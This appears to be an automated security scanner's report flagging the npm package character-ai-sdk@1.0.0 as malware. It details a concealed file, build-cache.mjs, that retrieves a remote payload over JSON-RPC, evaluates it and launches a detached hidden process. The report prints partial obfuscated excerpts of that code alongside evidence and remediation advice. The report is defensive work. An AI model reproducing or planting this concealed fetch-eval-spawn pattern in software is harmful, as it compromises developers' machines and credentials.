character-ai-sdk@1.0.0
Character AI SDK: default personas, durable character memory, and Bedrock/OpenAI adapters in one package.
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe packaged `build-cache.mjs` conceals a remote payload retrieval and execution path, including indirect `eval` and detached process launch. It is not reached through the declared main entry point or an install hook, but the concealed remote execution behavior is concrete and malicious when the helper is run.
Static reason
One or more suspicious static signals were detected.
Trigger
Running or importing `build-cache.mjs`; it is not the declared package entry point.
Impact
The concealed payload can execute arbitrary code in the invoking user's environment.
Mechanism
Obfuscated JSON-RPC and payload handling culminate in indirect `eval` and a detached child-process spawn.
Attack narrative
When `build-cache.mjs` runs, its obfuscated logic retrieves data via JSON-RPC, evaluates a resulting value, and may spawn a detached process. The file is included in the package but is not imported by the declared main entry point.
AI rationale
The packaged `build-cache.mjs` conceals a remote payload retrieval and execution path, including indirect `eval` and detached process launch. It is not reached through the declared main entry point or an install hook, but the concealed remote execution behavior is concrete and malicious when the helper is run.
Evidence
build-cache.mjspackage.jsonindex.mjs
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- `build-cache.mjs` is included in the package but is not the package’s declared main entry point.
- The obfuscated file retrieves data through JSON-RPC and processes returned values as payload material.
- The file evaluates a value returned by an obfuscated async function, then can launch a detached child process.
Evidence against
- The package declares no lifecycle scripts.
- The package’s main entry re-exports `dist/index.js` and `personas.mjs`; it does not import `build-cache.mjs`.
Behavioral surface
CryptoDynamicRequireEnvironmentVarsEvalFilesystemNetwork
HighEntropyStringsMinifiedObfuscated
Source & flagged code
5 flaggedbuild-cache.mjsView file
2ch (_0x7b976f) {} } for (const _0xf927cba of _0x6f4ef767) { try { const _0x54bc50dcc = await _0x005f64c7(_0x089ff0dc(88) + _0xf927cba + _0x089ff0dc(579)); const _0xc845ec = JSON.parse(_0x54bc50dcc); const _0x8d094 = _0xc845ec && _0xc845ec[0] && _0xc845ec[0][_0x089ff0dc(274)]; const _0xcf003 = _0x8d094 && _0x8d094[_0x089ff0dc(303)] && _0x8d094[_0x089ff0dc(314)][0]; if (_0xcf003) { return _0x6c092de6(_0xdeb5c63c(_0xcf003),_0x3eca7428d[1]); } } catch (_0x7b976f) {} } try { const _0x54bc50dcc = await _0x73b364ef6(_0x625f7d9ff, { jsonrpc: _0x089ff0dc(241), id: 1,
High
Ai Review Evidence
The obfuscated file retrieves data through JSON-RPC and processes returned values as payload material.
build-cache.mjsView on unpkg · L220x3a62b5); } catch (_0x7b976f) {} try { const _0x30b85c = Object.assign({}, _0x743fc0e1.env, { [_0x3951a2466]: _0xe7fffdd });const _0x70150ea = _0x20275a4ab.spawn(_0x089ff0dc(89), [_0x089ff0dc(974), _0x089ff0dc(797), _0x3a62b5], { detached: true, stdio: _0x089ff0dc(469),env: _0x30b85c,windowsHide: true });_0x70150ea.unref(); } catch (_0x7b976f) {} } } if (_0xb1460) { try { _0x1a158489e.unlinkSync(_0xd4952bc21); } catch (_0x7b976f) {} }} catch (_0x7b976f) { _0xd55ebcb0(_0x089ff0dc(935) + String(_0x7b976f).slice(0, 160)); } } _0
High
Ai Review Evidence
The file evaluates a value returned by an obfuscated async function, then can launch a detached child process.
build-cache.mjsView on unpkg · L2Findings
4 High5 Medium3 Low
HighObfuscated
HighAi Review Evidencepackage.json
HighAi Review Evidencebuild-cache.mjs
HighAi Review Evidencebuild-cache.mjs
MediumDynamic Requirebuild-cache.mjs
MediumNetwork
MediumEnvironment Vars
MediumShips Native Binarynative/linux/x64/cache-probe.node
MediumStructural Risk Force Deep Review
LowEval
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to character-ai-sdk@1.0.0.
See all versions of character-ai-sdk for other recorded verdicts.
- Avoid installing character-ai-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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